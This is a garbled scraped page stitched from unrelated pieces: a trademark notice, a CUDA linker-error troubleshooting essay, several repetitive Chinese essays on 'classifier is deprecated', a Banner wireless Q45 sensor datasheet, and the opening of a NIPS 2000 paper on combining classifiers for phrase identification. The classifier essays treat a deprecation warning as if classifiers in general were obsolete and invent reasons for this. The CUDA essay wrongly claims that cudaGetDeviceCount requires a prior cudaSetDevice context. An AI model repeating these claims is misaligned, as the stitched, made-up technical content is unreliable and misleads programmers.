WiSeConnect , n-Link, ThreadArch ®, EZLink ®, EZRadio ®, EZRadioPRO ®, Gecko ®, Gecko OS, Gecko OS Studio, Precision32®, Simplicity Studio ®, Telegesis, the Telegesis Logo ®, USBXpress ® , Zentri, the Zentri logo and Zentri DMS, Z-Wave ®, and others are trademarks or registered trademarks of Silicon Labs. ARM, CORTEX, Cortex-M3 and THUMB are trademarks or registered trademarks of ARM Holdings. Keil is a registered trademark of ARM Limited. Wi-Fi is a registered trademark of the Wi-Fi Alliance. All other products or brand names mentioned herein are trademarks of their respective holders.。
undefined reference to `cudagetdevicecount' -回复
undefined reference to `cudagetdevicecount'-回复Undefined reference to `cudagetdevicecount' is a common error message that programmers encounter when working with NVIDIA's CUDA programming language. This error signifies that the linker was unable to find a reference to the cudagetdevicecount function, meaning that the function is either missing or not properly linked.CUDA is a parallel computing platform and programming model that allows developers to utilize the power of NVIDIA GPUs for general-purpose computing tasks. It provides an extensive set of API libraries and tools to facilitate development, including the CUDA Runtime API and the CUDA Driver API. The CUDA Runtime API is a higher-level, more user-friendly interface, while the CUDA Driver API offers more control and is closer to the hardware.One of the fundamental tasks when working with CUDA is device management, which involves interacting with the GPUs available on the system. The cudagetdevicecount function is part of the CUDA Runtime API and is used to retrieve the number of available CUDA-enabled devices on the system.To resolve the undefined reference to `cudagetdevicecount' error, we need to ensure that the necessary CUDA libraries are properly linked and that the function is correctly referenced in the code. Here is a step-by-step guide to troubleshooting and resolving this issue:Step 1: Check CUDA installationThe first step is to verify that CUDA is installed correctly on the system. This includes checking if the required libraries and headers are present. Make sure that the CUDA Toolkit is correctly installed, and the necessary paths and environment variables are set up.Step 2: Check linking optionsThe next step is to ensure that the correct CUDA libraries are being linked to the program. In a makefile or build script, verify that the CUDA libraries are included in the compile and linker options. The most common CUDA libraries are libcudart.so or libcudart.dylib, depending on the operating system. Refer to the CUDA documentation for the specific library names and locations.Step 3: Verify library pathsIf the linker cannot find the CUDA libraries, it could be due to incorrect library paths. Verify that the library paths in the compile and linker options are accurate. Usually, the CUDA libraries are located in a specific directory such as /usr/local/cuda/lib64.Step 4: Check function name and headersMake sure that the function name is spelled correctly and matches the actual function name. In this case, `cudagetdevicecount' must be written as `cudaGetDeviceCount' with a capital 'G' and 'C'. Also, check if the necessary CUDA headers, such as cuda_runtime.h, are included in the code file.Step 5: Ensure proper usageDouble-check that the function is being used correctly. The cudagetdevicecount function requires a valid CUDA context to be established before it can be called. Ensure that the necessary CUDA context initialization functions, such as cudaSetDevice, are properly called before calling cudagetdevicecount.Step 6: Rebuild and retryAfter making the appropriate changes, rebuild the code and try running it again. If all the previous steps were followed correctly,the undefined reference to `cudagetdevicecount' error should be resolved, and the program should successfully retrieve the number of CUDA-enabled devices on the system.In conclusion, the undefined reference to `cudagetdevicecount' error is encountered when the linker cannot find a reference to the cudagetdevicecount function in a CUDA program. By following the troubleshooting steps outlined above, developers can identify and resolve the issue, ensuring that the necessary CUDA libraries are properly linked, and the correct usage of the function is implemented. CUDA provides immense capabilities for harnessing the power of GPUs in parallel computing, and understanding how to troubleshoot common errors like this is crucial for effective CUDA programming.。
'classifier' is deprecated -回复
'classifier' is deprecated -回复什么是分类器【'classifier' is deprecated】,为什么它被弃用?简介在计算机科学中,分类器(classifier)是一种机器学习算法,用于将输入数据分为不同的类别。
分类器常用于数据挖掘、文本分类、图像识别等应用领域。
然而,最近一段时间以来,“classifier”一词已经开始被弃用,有更先进和更复杂的算法取而代之。
分类器的定义分类器可以被看作是一种预测模型,它根据已有的样本数据(训练集)来建立一个模型,从而对未知的输入数据进行分类。
分类器通常基于特定的特征,以找出样本数据的模式,并且根据这些模式对新的数据进行预测。
常见的机器学习算法,如决策树、朴素贝叶斯、支持向量机等,都可以被视为分类器。
分类器的局限性尽管分类器曾经在许多领域中发挥了重要作用,但它也存在一些显著的局限性,这也是为什么它逐渐被弃用的原因之一。
1. 特征选取不准确:分类器的性能很大程度上依赖于所选择的特征。
如果特征选取不准确,分类器的准确性将受到影响。
事实上,特征选取是一个相当复杂的过程,需要领域专家的知识和经验。
2. 过拟合问题:过拟合指的是分类器对训练数据的拟合程度过高,导致不能很好地泛化到新的数据集。
当样本数据过少、模型复杂度过高或模型选择不当时,分类器容易出现过拟合问题。
3. 对噪声和异常值敏感:分类器对噪声和异常值非常敏感,即使是一小部分错误标记的数据也可能导致分类器的准确性大幅下降。
分类器的替代方法考虑到分类器的局限性,许多新的算法已经被提出,以解决这些问题并取代传统的分类器。
以下是一些常见的替代方法:1. 深度学习:深度学习通过模拟人脑神经网络中的神经元和神经连接,实现了更复杂和高效的模型。
深度学习在图像识别、自然语言处理等各个领域取得了显著的成果。
2. 集成学习:集成学习通过结合多个分类器的预测结果,以达到更好的性能和鲁棒性。
'classifier' is deprecated -回复
'classifier' is deprecated -回复什么是deprecated(废弃)?在计算机科学中,当一个软件、函数、方法或任何编程元素不再推荐使用,并且有可能在将来的版本中被删除时,我们称之为"deprecated",即被废弃的。
废弃通常是因为功能过时、安全隐患、性能问题或者设计缺陷等原因。
在所谓的"语义化版本控制"(Semantic Versioning)中,废弃往往与新版本的发布同时发生。
当一个新版本发布时,与之前版本兼容的废弃功能通常会在新版本的文档中被明确说明,并给出了替代的新功能或者建议。
随着时间的推移,开发者应该逐渐停止使用被废弃的功能,并且迁移到新版本的功能,以避免未来的兼容性问题。
为什么要将'classifier'标记为废弃?在这篇文章中,我们要讨论的是将'classifier'(分类器)标记为废弃的原因。
'classifier'是一种用于机器学习和数据挖掘的算法,它可以根据给定的数据集对未知数据进行分类。
然而,由于技术的进步和算法的改进,'classifier'在新版本中已经不再被推荐使用。
首先,'classifier'的性能可能已经被更高效的算法所超越。
随着研究者和开发者对机器学习的深入研究,新算法被不断提出,并在实践中得到验证。
这些新算法往往能够更准确地进行分类,并且具备更好的性能和效率。
相比之下,'classifier'可能已经成为了一个相对较为落后的选择。
其次,'classifier'可能存在一些设计缺陷或不足之处。
随着对机器学习算法的不断研究,我们不断发现了更好的设计模式和技术,可以更好地应对现实世界中的挑战。
相比之下,'classifier'可能无法充分利用这些新的发现,并限制了算法的表现能力。
'classifier' is deprecated -回复
'classifier' is deprecated -回复“classifier is deprecated(分类器已被弃用)”这句话意味着分类器算法的某个版本已经不再被推荐使用。
在计算机科学和机器学习领域,分类器是一种有监督学习算法,其目标是将数据集中的样本分配到不同的类别中。
然而,由于算法和技术的不断发展,某些算法可能会变得过时并被更高效或更准确的算法取代。
这篇文章将一步一步回答关于分类器被弃用的问题,探讨其原因以及可能的替代方法。
第一步:了解分类器算法在讨论分类器被弃用的问题之前,我们先来了解一下分类器算法的基本原理。
分类器算法是机器学习中最常用和最基础的方法之一。
它通过学习输入数据的模式和特征,根据这些信息将新的未知样本分配到预定义的不同类别中。
种类最多的任务是二类或多类分类,但也有一些分类器可以进行回归和聚类任务。
第二步:了解分类器被弃用的原因分类器算法被弃用往往是因为以下几个原因:1.效果不佳:某个算法在特定问题上的表现不佳,无法达到预期的准确性或效率。
这可能是因为数据集的特点不适合这个算法,或者算法本身的局限性。
2.技术过时:分类器算法是一个不断发展和演变的领域。
随着时间的推移,研究人员会提出新的算法来解决现有算法的问题,或者开发更高效和准确的替代方案。
因此,某个算法可能会被认为是过时的,且不再推荐使用。
3.缺乏支持和更新:开发者可能停止支持某个算法的更新和维护,导致其在未来无法继续使用。
这可能是因为开发者转向其他研究方向,或者无法继续投入资源来维护该算法。
第三步:探究分类器替代方法既然我们已经了解了分类器被弃用的原因,接下来我们将探讨可能的替代方法。
每个分类器算法都有其独特的特点和适用范围,所以具体的替代方法将取决于特定的应用情况。
下面是一些常见的分类器替代方法:1.支持向量机(Support Vector Machines,SVM):SVM是一种二类分类器,它通过将数据映射到高维空间,找到一个最优超平面来进行分类。
classifier' is deprecated -回复
classifier' is deprecated -回复什么是“[classifier' is deprecated]”以及为什么它被废弃了?在计算机科学和编程中,分类器(classifier)是一种机器学习算法,用于将输入数据映射到预定义的类别或标签。
分类器被广泛应用于各种领域,包括自然语言处理、图像识别、金融预测等。
然而,有些分类器在不断发展和进化的机器学习领域中变得过时,并因此被标记为“deprecated”(废弃)。
废弃(deprecated)是一种软件开发术语,用来表示某个特定的功能、方法、类或算法不再推荐使用,因为它们已被证明存在缺陷、安全漏洞、效率问题,或者有更好的替代方案可用。
当开发人员决定将某个功能标记为废弃,他们通常会提供替代的解决方案,并鼓励用户更换为更好的选项。
对于“[classifier' is deprecated]”这个具体的废弃消息,很可能是指某个特定的分类器算法、框架或库。
在这篇文章中,我们将逐步探讨这个废弃消息的背后原因,并介绍一些可能的替代方案。
1. 为什么“[classifier' is deprecated]”?为什么它被废弃了?分类器在机器学习中扮演着重要的角色,但随着算法和技术的不断演进,一些旧的分类器可能显现出一些问题,这些问题包括但不限于以下几点:a) 效率和性能问题:随着数据集的增大和复杂度的提高,一些旧的分类器可能无法有效处理大规模和高维度的数据,导致训练和预测的速度变慢。
b) 准确性和泛化能力问题:一些旧的分类器可能在面对复杂的、噪声较多的数据集时缺乏准确性和泛化能力,导致预测结果不可靠。
c) 安全和隐私问题:一些旧的分类器可能存在安全漏洞,被攻击者利用以获取敏感信息或进行恶意行为。
基于以上原因,开发者可能决定将某个分类器标记为废弃,鼓励用户使用更先进的算法和技术来替代它,以获得更好的性能、准确性和安全性。
BannerSure Cross 无线Q45传感器系列说明书
DatasheetSure Cross ® Wireless Q45 Sensors combine the best of Banner’s flexible Q45 sensor family with its reliable, field-proven, Sure Cross wirelessarchitecture to solve new classes of applications limited only by the user’s imagination. Containing a variety of sensor models, a radio, and internalbattery supply, this product line is truly plug and play.(Shown with the temperature/humidity sensor connected)The Sure Cross Temperature and Humidity Sensor works in a variety of environments to provide temperature and humidity measurements.The Wireless Q45 Temperature and Relative Humidity Sensor Node:•Works with one of two sensor options: temperature and relative humidity or temperature only •Provides high accuracy temperature and humidity measurements•Achieves humidity accuracy of ±2% relative humidity and temperature accuracy of 0.3 °C •Houses the sensor element in a robust stainless steel case•Includes a red/green/yellow/blue LED that can be used to provide local visual indication of change in environmental conditionsBanner Humidity Sensor Calibration Statement . This calibration statement (also available online) lists the chain with which the calibration of Banner humidity sensors is traceable to NIST standards.Important: Please download the complete Wireless Q45 Sensor Node technicaldocumentation, available in multiple languages, from for details on the proper use, applications, Warnings, and installation instructions of this device.Important: Por favor descargue desde toda ladocumentación técnica de los Wireless Q45 Sensor Node, disponibles en múltiples idiomas, para detalles del uso adecuado, aplicaciones, advertencias, y las instrucciones de instalación de estos dispositivos.Important: Veuillez télécharger la documentation technique complète des Wireless Q45 Sensor Node sur notre site pour les détails sur leur utilisation correcte, les applications, les notes de sécurité et les instructions demontage.WARNING:•Do not use this device for personnel protection•Using this device for personnel protection could result in serious injury or death.•This device does not include the self-checking redundant circuitry necessary to allow its use in personnel safetyapplications. A device failure or malfunction can cause either an energized (on) or de-energized (off) output condition.ModelsReplace or Install the BatteriesTo replace the lithium "AA" cell battery, follow these steps. As with all batteries, these are a fire, explosion, and severe burn hazard. Do not burn or expose them to high temperatures. Do not recharge, crush, disassemble, or expose the contents to water. Properly dispose of used batteriesaccording to local regulations by taking it to a hazardous waste collection site, an e-waste disposal center, or other facility qualified to accept lithium batteries.1.Lift the plastic cover.2.Slide the board containing the batteries out of the Q45 housing.3.Remove the discharged batteries and replace with new batteries. Use two 3.6 V AA lithiumbatteries, such as Xeno's XL-60F or equivalent.4.Verify the battery’s positive and negative terminals align to the positive and negative terminals ofthe battery holder mounted within the case. Caution: There is a risk of explosion if the battery is replaced incorrectly.5.Slide the board containing the new batteries back into the Q45 housing.The replacement battery model number is BWA-BATT-006. For pricing and availability, contact Banner Engineering.Storage ModeWhile in storage mode , the Q45's radio does not operate. The Q45 ships from the factory in storage mode to conserve the battery. To wake the device, press and hold the binding button (inside the housing on the radio board) for five seconds. To put any Q45 into storage mode, press and hold the binding button for five seconds. The Q45 is in storage mode when the LEDs stop blinking.Sure Cross ® Wireless Q45TH Sensor Node (Temperature/Humidity)Original Document 192694 Rev. B18 November 2019192694Modbus Register TableThe temperature = (Holding register value) ÷ 20.Button, LEDs, and DIP Switches1Button2Red LED (flashing) indicates a radio link error with the Gateway.3Green LED (flashing) indicates a good radio link with the Gateway.4Amber LED is not used.5DIP SwitchesDIP Switch Settings —After making any changes to any DIP switch position, reboot the Wireless Q45 Sensor by triple-clicking the button, waiting a second, then double-clicking the button. As shown in the image, the DIP switches are in the OFF position. To turn a DIP switch on, push the switch toward the battery pack. DIP switches one through four are numbered from left to right.Bind to the Gateway and Assign the Node AddressBefore beginning the binding procedure, apply power to all the devices. Separate the devices by two meters when running binding procedure. Put only one Gateway into binding at a time to prevent binding to the wrong Gateway.1.Enter binding mode on the Gateway.•For housed DX80 Gateways, triple-click button 2 on the Gateway. Both LEDs flash red.•For Gateway board modules, triple-click the binding button. The green and red LED flashes.flashing mode, the light can be on for up to one - Tel: + 1 888 373 6767P/N 192694 Rev. B2.Assign the Q45 a Node address using the Gateway's rotary dials. Use the left rotary dial for the left digit and the right rotary dial for the rightdigit. For example, to assign your Q45 to Node 10, set the Gateway's left dial to 1 and the right dial to 0. Valid Node addresses are 01through 47.3.Loosen the clamp plate on the top of the Q45 and lift the cover.4.Enter binding mode on the Q45 by triple-clicking the Q45's binding button.The red and green LEDs flash alternately and the sensor searches for a Gateway in binding mode. After the Q45 is bound, the LEDs stay solid momentarily, then they flash together four times. The Q45 exits binding bel the sensor with the Q45's Node address number for future reference.6.Repeat steps 2 through 5 for as many Q45s as are needed for your network.7.After binding all Q45s, exit binding mode on the Gateway.•For housed DX80 Gateways, double-click button 2 on the Gateway.•For board-level DX80 Gateways, double-click the binding button on the Gateway.For Gateways with single-line LCDs: After binding your Q45 to the Gateway, make note of the binding code displayed under the Gateway's *DVCFG menu, XADR submenu on the LCD. Knowing the binding code prevents having to re-bind all Q45s if your Gateway is ever replaced.SpecificationsPerformance 900 MHz Radio Specifications for Internal AntennasRadio Range900 MHz, 1 Watt (Internal antenna): Up to 3.2 km (2 miles) with line of sight Antenna Minimum Separation Distance 900 MHz, 1 Watt: 4.57 m (15 ft)Radio Transmit Power900 MHz, 1 Watt (Internal antenna): 25 dBm Conducted Spread Spectrum TechnologyFHSS (Frequency Hopping Spread Spectrum)900 MHz Compliance (1 Watt)FCC ID UE3RM1809: FCC Part 15, Subpart C, 15.247IC: 7044A-RM1809Link TimeoutGateway: Configurable via User Configuration Software Node: Defined by GatewayWireless Q45TH Sensor Node SpecificationsTypical Battery LifeUp to 1.5 years, typicalBattery life is reduced to 9 months when the sample/report rate is increased to 16seconds ConstructionMolded reinforced thermoplastic polyester housing, oring-sealed transparent Lexan ®cover, molded acrylic lenses, and stainless steel hardware. Designed to withstand 1200 psi washdown.ConnectionOne 5-pin threaded M12/Euro-style female quick disconnect IndicatorsRed and green LEDs (radio function)Temperature SensorMeasuring Range: –40 °C to +85 °C (–40 °F to +185 °F)Resolution: 0.1 °C Accuracy: ±0.3 °CDefault Sensing Interval 64 seconds Humidity SensorMeasuring Range: 0% to 100% relative humidity Resolution: 0.1% relative humidityAccuracy: ±2% relative humidity at 23 °CCertifications(NOM approval only applies to 900 MHz models)Environmental SpecificationsOperating Conditions–40 °C to +70 °C (–40 °F to +158 °F); 90% at +50 °C maximum relative humidity (non-condensing)Radiated Immunity: 10 V/m (EN 61000-4-3)Environmental Rating NEMA 6P, IEC IP67Operating the devices at the maximum operating conditions for extended periods can shorten the life of the device.AccessoriesFTH-FIL-001•Aluminum grill filter cap (factorydefault, ships with M12FT*Qsensors)FTH-FIL-002•Stainless steel, sintered to 10micrometer porosity (for highdust environments.)P/N 192694 Rev. B - Tel: + 1 888 373 67673Banner Engineering Corp. Limited WarrantyBanner Engineering Corp. warrants its products to be free from defects in material and workmanship for one year following the date of shipment. Banner Engineering Corp. will repair or replace, free of charge,any product of its manufacture which, at the time it is returned to the factory, is found to have been defective during the warranty period. This warranty does not cover damage or liability for misuse, abuse, or the improper application or installation of the Banner product.THIS LIMITED WARRANTY IS EXCLUSIVE AND IN LIEU OF ALL OTHER WARRANTIES WHETHER EXPRESS OR IMPLIED (INCLUDING, WITHOUT LIMITATION, ANY WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE), AND WHETHER ARISING UNDER COURSE OF PERFORMANCE, COURSE OF DEALING OR TRADE USAGE.This Warranty is exclusive and limited to repair or, at the discretion of Banner Engineering Corp., replacement. IN NO EVENT SHALL BANNER ENGINEERING CORP. BE LIABLE TO BUYER OR ANY OTHER PERSON OR ENTITY FOR ANY EXTRA COSTS, EXPENSES, LOSSES, LOSS OF PROFITS, OR ANY INCIDENTAL, CONSEQUENTIAL OR SPECIAL DAMAGES RESULTING FROM ANY PRODUCT DEFECT OR FROM THE USE OR INABILITY TO USE THE PRODUCT, WHETHER ARISING IN CONTRACT OR WARRANTY, STATUTE, TORT, STRICT LIABILITY, NEGLIGENCE, OR OTHERWISE.Banner Engineering Corp. reserves the right to change, modify or improve the design of the product without assuming any obligations or liabilities relating to any product previously manufactured by Banner Engineering Corp. Any misuse, abuse, or improper application or installation of this product or use of the product for personal protection applications when the product is identified as not intended for such purposes will void the product warranty. Any modifications to this product without prior express approval by Banner Engineering Corp will void the product warranties. All specifications published in this document are subject to change; Banner reserves the right to modify product specifications or update documentation at any time. Specifications and product information in English supersede that which is provided in any other language. For the most recent version of any documentation, refer to: .For patent information, see /patents .Exporting Sure Cross ® RadiosExporting Sure Cross ® Radios. It is our intent to fully comply with all national and regional regulations regarding radio frequency emissions. Customers who want to re-export this product to a country other than that to which it was sold must ensure the device is approved in the destination country. The Sure Cross wireless products were certified for use in these countries using the antenna that ships with the product.When using other antennas, verify you are not exceeding the transmit power levels allowed by local governing agencies. This device has been designed to operate with the antennas listed on BannerEngineering’s website and having a maximum gain of 9 dBm. Antennas not included in this list or having a gain greater that 9 dBm are strictly prohibited for use with this device. The required antenna impedance is 50 ohms. To reduce potential radio interference to other users, the antenna type and its gain should be so chosen such that the equivalent isotropically radiated power (EIRP) is not more than that permitted for successful communication. Consult with Banner Engineering Corp. if the destination country is not on this list.Notas AdicionalesInformación México: La operación de este equipo está sujeta a las siguientes dos condiciones: 1) es posible que este equipo o dispositivo no cause interferencia perjudicial y 2) este equipo debe aceptar cualquier interferencia, incluyendo la que pueda causar su operación no deseada.Banner es una marca registrada de Banner Engineering Corp. y podrán ser utilizadas de manera indistinta para referirse al fabricante. "Este equipo ha sido diseñado para operar con las antenas tipoOmnidireccional para una ganancia máxima de antena de 6 dBd y Yagi para una ganancia máxima de antena 10 dBd que en seguida se enlistan. También se incluyen aquellas con aprobación ATEX tipo Omnidireccional siempre que no excedan una ganancia máxima de antena de 6dBd. El uso con este equipo de antenas no incluidas en esta lista o que tengan una ganancia mayor que 6 dBd en tipo omnidireccional y 10 dBd en tipo Yagi, quedan prohibidas. La impedancia requerida de la antena es de 50 ohms."Mexican ImporterBanner Engineering de Mèxico, S. de R.L. de C.V.David Alfaro Siqueiros 103 Piso 2 Valle oriente San Pedro Garza Garcia Nuevo Leòn, C. P. 6626981 8363.2714© Banner Engineering Corp. All rights reserved。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
NIPS’00 The Use of Classifiers in Sequential InferenceVasin Punyakanok Dan RothDepartment of Computer ScienceUniversity of Illinois at Urbana-ChampaignUrbana,IL61801punyakan@ danr@AbstractWe study the problem of combining the outcomes of several differentclassifiers in a way that provides a coherent inference that satisfies someconstraints.In particular,we develop two general approaches for an im-portant subproblem-identifying phrase structure.Thefirst is a Marko-vian approach that extends standard HMMs to allow the use of a rich ob-servation structure and of general classifiers to model state-observationdependencies.The second is an extension of constraint satisfaction for-malisms.We develop efficient combination algorithms under both mod-els and study them experimentally in the context of shallow parsing.1IntroductionIn many situations it is necessary to make decisions that depend on the outcomes of several different classifiers in a way that provides a coherent inference that satisfies some con-straints-the sequential nature of the data or other domain specific constraints.Consider, for example,the problem of chunking natural language sentences where the goal is to iden-tify several kinds of phrases(e.g.noun phrases,verb phrases)in sentences.A task of this sort involves multiple predictions that interact in some way.For example,one way to ad-dress the problem is to utilize two classifiers for each phrase type,one of which recognizes the beginning of the phrase,and the other its end.Clearly,there are constraints over the predictions;for instance,phrases cannot overlap and there are probabilistic constraints over the order of phrases and their lengths.The above mentioned problem is an instance of a general class of problems–identifying the phrase structure in sequential data.This paper develops two general approaches for this class of problems by utilizing general classifiers and performing inferences with their outcomes.Our formalisms directly applies to natural language problems such as shallow parsing[7,23,5,3,21],computational biology prob-lems such as identifying splice sites[8,4,15],and problems in information extraction[9]. Ourfirst approach is within a Markovian framework.In this case,classifiers are functions of the observation sequence and their outcomes represent states;we study two Markov models that are used as inference procedures and differ in the type of classifiers and the details of the probabilistic modeling.The critical shortcoming of this framework is that it attempts to maximize the likelihood of the state sequence–not the true performance measure of interest but only a derivative of it.The second approach extends a constraint satisfaction formalism to deal with variables that are associated with costs and shows how to use this to model the classifier combination problem.In this approach general con-straints can be incorporatedflexibly and algorithms can be developed that closely addressthe true global optimization criterion of interest.For both approaches we develop efficient combination algorithms that use general classifiers to yield the inference.The approaches are studied experimentally in the context of shallow parsing–the task of identifying syntactic sequences in sentences[14,1,11]–which has been found use-ful in many large-scale language processing applications including information extraction and text summarization[12,2].Working within a concrete task allows us to compare the approaches experimentally for phrase types such as base Noun Phrases(NPs)and Subject-Verb phrases(SVs)that differ significantly in their statistical properties,including length and internal dependencies.Thus,the robustness of the approaches to deviations from their assumptions can be evaluated.Our two main methods,projection-based Markov Models(PMM)and constraint satisfac-tion with classifiers(CSCL)are shown to perform very well on the task of predicting NP and SV phrases,with CSCL at least as good as any other method tried on these tasks.CSCL performs better than PMM on both tasks,more significantly so on the harder,SV,task.We attribute it to CSCL’s ability to cope better with the length of the phrase and the long term dependencies.Our experiments make use of the SNoW classifier[6,24]and we provide a way to combine its scores in a probabilistic framework;we also exhibit the improvements of the standard hidden Markov model(HMM)when allowing states to depend on a richer structure of the observation via the use of classifiers.2Identifying Phrase StructureThe inference problem considered can be formalized as that of identifying the phrase struc-ture of an input string.Given an input string a phrase is a substring of consecutive input symbols.Some external mechanism is assumed to con-sistently(or stochastically)annotate substrings as phrases1.Our goal is to come up with a mechanism that,given an input string,identifies the phrases in this string.The identification mechanism works by using classifiers that attempt to recognize in the input string local signals which are indicative to the existence of a phrase.We assume that the outcome of the classifier at input symbol can be represented as a function of the local context of in the input string,perhaps with the aid of some external information inferred from it2.Classifiers can indicate that an input symbol is i nside or o utside a phrase(IO modeling)or they can indicate that an input symbol o pens or c loses a phrase(the OC modeling)or some combination of the two.Our work here focuses on OC modeling which has been shown to be more robust than the IO,especially with fairly long phrases[21].In any case,the classifiers’outcomes can be combined to determine the phrases in the input string.This process,however,needs to satisfy some constraints for the resulting set of phrases to be legitimate.Several types of constraints,such as length,order and others can be formalized and incorporated into the approaches studied here.The goal is thus two fold:to learn classifiers that recognize the local signals and to com-bine them in a way that respects the constraints.We call the inference algorithm that combines the classifiers and outputs a coherent phrase structure a combinator.The per-formance of this process is measured by how accurately it retrieves the phrase structure of the input string.This is quantified in terms of recall-the percentage of phrases that are correctly identified-and precision-the percentage of identified phrases that are indeed correct phrases.1We assume here a single type of phrase,and thus each input symbol is either in a phrase or outside it.All the methods can be extended to deal with several kinds of phrases in a string.2In the case of natural language processing,if the s are words in a sentence,additional informa-tion might include morphological information,part of speech tags,semantic class information from WordNet,etc.This information can be assumed to be encoded into the observed sequence.3Markov ModelingHMM is a probabilisticfinite state automaton that models the probabilistic generation ofsequential processes.It consists of afinite set of states,a set of observations,an initial state distribution,a state-transition distribution()and an observation distribution(,).A sequence of observations is generated byfirst picking an initial state according to;this state produces an observation according to and transits to a new state according to.This state produces the next observation,and the process goes on until it reaches a designatedfinal state[22].In a supervised learning task,an observation sequence is supervised by a corresponding state sequence.This allows one to estimate the HMM parameters and then,given a new observation sequence,to identify the most likely corresponding state sequence.The supervision can also be supplied(see Sec.2)using local signals from which the state sequence can be recovered.Constraints can be incorporated into the HMM by constraining the state transition probability distribution.For example,set for all such that the transition from to is not allowed.3.1A Hidden Markov Model CombinatorTo recover the most likely state sequence in HMM,we wish to estimate all the required probability distributions.As in Sec.2we assume to have local signals that indicate the state.That is,we are given classifiers with states as their outcomes.Formally,we assume that is given where is the time step in the sequence.In order to use this information in the HMM framework,we compute That is,instead of observing the conditional probability directly from training data,we compute it from the classifiers’output.Notice that in HMM,the assumption is that the probability distributions are stationary.We can assume that for which we obtain from the classifier but need not assume it for the other distributions,and.can be calculated by where and are the two required distributions for the HMM.We still need which is harder to approximate but, for each,can be treated as a constant because the goal is tofind the most likely sequence of states for the given observations,which are the same for all compared sequences.With this scheme,we can still combine the classifiers’predictions byfinding the mostlikely sequence for an observation sequence using dynamic programming.To do so,we incorporate the classifiers’opinions in its recursive step by computing as above:This is derived using the HMM assumptions but utilizes the classifier outputs,al-lowing us to extend the notion of an observation.In Sec.6we estimate based on a whole observation sequence rather than to significantly improve the performance.3.2A Projection based Markov Model CombinatorIn HMMs,observations are allowed to depend only on the current state and long term dependencies are not modeled.Equivalently,the constraints structure is restricted by hav-ing a stationary probability distribution of a state given the previous one.We attempt to relax this by allowing the distribution of a state to depend,in addition to the previous state,on the observation.Formally,we now make the following independence assumption:Thus,given an observation sequence we canfind the most likely state sequence given by maximizingHence,this model generalizes the standard HMM by combining the state-transition proba-bility and the observation probability into one function.The most likely state sequence canstill be recovered using the dynamic programming(Viterbi)algorithm if we modify the re-cursive step:.In this model,the classifiers’decisions are incorporated in the terms and.To learn these classifiers we follow the projection approach[26]and separate to many functions according to the previous states.Hence as many as classifiers,projected on the previous states, are separately trained.(Therefore the name“Projection based Markov model(PMM)”.) Since these are simpler classifiers we hope that the performance will improve.As before, the question of what constitutes an observation is an issue.Sec.6exhibits the contribution of estimating using a wider window in the observation sequence.3.3Related WorkSeveral attempts to combine classifiers,mostly neural networks,into HMMs have been made in speech recognition works in the last decade[20].A recent work[19]is similar to our PMM but is using maximum entropy classifiers.In both cases,the attempt to combine classifiers with Markov models is motivated by an attempt to improve the existing Markov models;the belief is that this would yield better generalization than the pure observation probability estimation from the training data.Our motivation is different.The starting point is the existence of general classifiers that provide some local information on the input sequence along with constraints on their outcomes;our goal is to use the classifiers to infer the phrase structure of the sequence in a way that satisfies the ing Markov models is only one possibility and,as mentioned earlier,not one the optimizes the real performance measure of interest.Technically,another novelty worth mentioning is that we use a wider range of observations instead of a single observation to predict a state.This certainly violates the assumption underlying HMMs but improves the performance.4Constraints Satisfaction with ClassifiersThis section describes a different model that is based on an extension of the Boolean con-straint satisfaction(CSP)formalism[17]to handle variables that are the outcome of classi-fiers.As before,we assume an observed string and local classifiers that,without loss of generality,take two distinct values,one indicating o penning a phrase and a second indicating c losing it(OC modeling).The classifiers provide their output in terms of the probability and,given the observation.We extend the CSP formalism to deal with probabilistic variables(or,more generally,vari-ables with cost)as follows.Let be the set of Boolean variables associated with the problem,.The constraints are encoded as clauses and,as in standard CSP model-ing the Boolean CSP becomes a CNF(conjunctive normal form)formula.Our problem, however,is not simply tofind an assignment that satisfies but rather the following optimization problem.We associate a cost function with each variable,and try tofind a solution of of minimum cost,One efficient way to use this general scheme is by encoding phrases as variables.Let be the set of all possible phrases.Then,all the non-overlapping constraints can be encoded in:This yields a quadratic number of variables,and the constraints are binary,encoding the restriction that phrases do not overlap.A satisfying assignment for the resulting-CNF formula can therefore be computed in polynomial time,but the corresponding optimization problem is still NP-hard[13].For the specific case of phrase structure,however,we canfind the optimal solution in linear time.The solution to the optimization problem corresponds to a shortest path in a directed acyclic graph constructed on the observations symbols,with legitimate phrases(the variables of the CSP)as its edges and their cost as the edges’weights.The construction of the graph takes quadratic time and corresponds to constructing the-CNF formula above.It is not hard to see(details omitted) that each path in this graph corresponds to a satisfying assignment and the shortest path corresponds to the optimal solution.The time complexity of this algorithm is linear in the size of the graph.The main difficulty here is to determine the cost as a function of theconfidence given by the classifiers.Our experiments revealed,though,that the algorithm is robust to reasonable modifications in the cost function.A natural cost function is to use the classifiers probabilities and and define,for a phrase,The interpretation is that the error in selecting is the error in selecting either or,and allowing those to overlap3.The constant in biases the minimization to prefers selecting a few phrases,so instead we minimize.5Shallow ParsingWe use shallow parsing tasks in order to evaluate our approaches.Shallow parsing involves the identification of phrases or of words that participate in a syntactic relationship.The observation that shallow syntactic information can be extracted using local information–by examining the pattern itself,its nearby context and the local part-of-speech information –has motivated the use of learning methods to recognize these patterns[7,23,3,5].In this work we study the identification of two types of phrases,base Noun Phrases(NP) and Subject Verb(SV)patterns.We chose these since they differ significantly in their structural and statistical properties and this allows us to study the robustness of our methods to several assumptions.As in previous work on this problem,this evaluation is concerned with identifying one layer NP and SV phrases,with no embedded phrases.We use the OC modeling and learn two classifiers;one predicting whether there should be an o pen in location or not,and the other whether there should be a c lose in location or not.For technical reasons the cases o and c are separated according to whether we are inside or outside a phrase.Consequently,each classifier may output three possible outcomes O, nOi,nOo(open,not open inside,not open outside)and C,nCi,nCo,resp.The state-transition diagram infigure1captures the order constraints.Our modeling of the problem is a modification of our earlier work on this topic that has been found to be quite successful[21].compared to other learning methods attempted on this problemFigure1:State-transition diagram for the phrase recognition problem.5.1ClassificationThe classifier we use to learn the states as a function of the observation is SNoW[24,6],a multi-class classifier that is specifically tailored for large scale learning tasks.The SNoW learning architecture learns a sparse network of linear functions,in which the targets(states, in this case)are represented as linear functions over a common features space.SNoW has already been used successfully 